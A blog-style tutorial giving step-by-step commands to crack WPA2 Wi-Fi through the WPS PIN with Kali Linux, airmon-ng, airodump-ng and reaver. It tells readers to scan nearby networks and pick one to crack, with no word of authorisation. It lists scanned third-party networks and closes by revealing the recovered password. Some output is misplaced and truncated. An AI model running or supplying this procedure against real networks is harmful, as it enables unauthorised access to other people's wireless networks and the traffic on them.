Cracking Wireless Networks

Author: Alexandre Borges
Revision: A.1
Website: http://alexandreborges.org

Since ever I've seen lots of wireless tutorias about cracking WEP networking, however it's harder to read additional information about cracking wireless networks which using WPA2. Honestly, I don't intend to delve into many details about the weakness itself and my only concern is to show you straight steps in an easy way.

For this quick demonstration, I’m using the Kali Linux distribution which you can download it from http://www.kali.org/downloads/ and an external wireless interface ALFA AWUS036H which is also very known for any attacker and you can buy it anywhere. The wireless router used for this example is a DLINK DIR-615. I could have used the notebook's internal wireless interface, but I've preferred taking an external one because its signal has a better reach.

It's extremely relevant to say: this procedure uses reaver tool which attacks the PIN authorization process between a wireless router and any other device. Once you have got the router's PIN (eight digits) the password will be a simple consequence. Nonetheless, this recipe only works if WPS is UNLOCK or UNPROTECTED. There're several cases where even when WPS is disabled the attack worked!

A step-by-step procedure follows:

1) connect the external wireless interface into the notebook's USB port.

2) check if the connected external wireless interface was recognized by operating system:

   root@hacker:~# iwconfig
   
   wlan1   IEEE 802.11bg   ESSID:off/any
           Mode:Managed   Access Point: Not-Associated   Tx-Power=20 dBm
           Retry long limit:7   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off

   eth0    no wireless extensions.

   lo      no wireless extensions.

   wlan0   IEEE 802.11bgn   ESSID:"SkyNet"
           Bit Rate=18 Mb/s   Tx-Power=16 dBm
           Retry long limit:7   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off
           Link Quality=61/70 Signal level=--49 dBm
           Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
           Tx excessive retries:0 Invalid misc:17 Missed beacon:0
3) Create a monitor interface putting the external wireless interface in monitor mode:

```
root@hacker:~# airmon-ng start wlan1
```

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

```
e PID  Name
2927  NetworkManager
3048  wpa_supplicant
5605  dhclient
```
Process with PID 5605 (dhclient) is running on interface wlan0

<table>
<thead>
<tr>
<th>Interface</th>
<th>Chipset</th>
<th>Driver</th>
</tr>
</thead>
<tbody>
<tr>
<td>wlan1</td>
<td>Realtek RTL8187L</td>
<td>rtl8187 - [phy1]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>(monitor mode enabled on mon0)</td>
</tr>
<tr>
<td>wlan0</td>
<td>Intel 2230</td>
<td>iwlwifi - [phy0]</td>
</tr>
</tbody>
</table>

4) Verify if the monitor interface (mon0) was successfully configured:

```
root@hacker:~# iwconfig
```

```
mon0     IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
       Retry long limit:7   RTS thr:off   Fragment thr:off
       Power Management:on
```

```
wlan1    IEEE 802.11bg  ESSID:off/any
       Mode:Managed  Access Point: Not-Associated  Tx-Power=20 dBm
       Retry long limit:7   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
```

```
eth0     no wireless extensions.
lo       no wireless extensions.
```

```
wlan0    IEEE 802.11bgn  ESSID:"SkyNet"
       Bit Rate=54 Mb/s  Tx-Power=16 dBm
       Retry long limit:7   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
       Link Quality=61/70  Signal level=-49 dBm
       Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
       Tx excessive retries:0  Invalid misc:22  Missed beacon:0
```

5) Use `airodump-ng` for searching every near wireless network and choose one of them to try to crack it:

```
root@hacker:~# airodump-ng mon0
```
6) Finally, use reaver to crack the PIN number and reveal the wireless key. You must be aware that the attack takes between 2 hours to 24 hours. This example took around two hours:

```bash
root@hacker:~# reaver -i mon0 -b 98:FC:11:C8:73:86
```

```

<table>
<thead>
<tr>
<th>BSSID</th>
<th>PWR</th>
<th>Beacons</th>
<th>#Data, #/s CH MB</th>
<th>ENC</th>
<th>CIPHER</th>
<th>AUTH</th>
<th>ESSID</th>
</tr>
</thead>
<tbody>
<tr>
<td>64:A0:E7:29:D9</td>
<td>4</td>
<td>1</td>
<td>1</td>
<td>48e.</td>
<td>OPN</td>
<td></td>
<td>StartYourVPN</td>
</tr>
<tr>
<td>98:FC:11:C8:73</td>
<td>11</td>
<td>2</td>
<td>0</td>
<td>11</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK SkyNet</td>
</tr>
<tr>
<td>64:A0:E7:29:B6</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>6</td>
<td>WPA2</td>
<td>OPN</td>
<td></td>
</tr>
<tr>
<td>64:A0:E7:29:DA</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>WPA2</td>
<td>OPN</td>
<td></td>
</tr>
<tr>
<td>00:1E:58:C4:95</td>
<td>6</td>
<td>2</td>
<td>0</td>
<td>54e.</td>
<td>WPA2</td>
<td>TKIP</td>
<td>PSK S_S</td>
</tr>
<tr>
<td>00:24:A5:D8:55</td>
<td>3</td>
<td>0</td>
<td>0</td>
<td>6</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK edsan</td>
</tr>
<tr>
<td>00:21:91:72:3B</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>11</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK lab</td>
</tr>
<tr>
<td>50:A7:33:47:5E</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>54e.</td>
<td>WPA2</td>
<td>CCMP</td>
<td>PSK RUDI-WORK</td>
</tr>
<tr>
<td>50:A7:33:07:5E</td>
<td>3</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>WPA2</td>
<td>TKIP</td>
<td>MGT wnauniversal</td>
</tr>
</tbody>
</table>

```

Amazing. From this point, anyone can connect to this wireless network using the password 'hacker123!'. Have a nice day.
Alexandre Borges.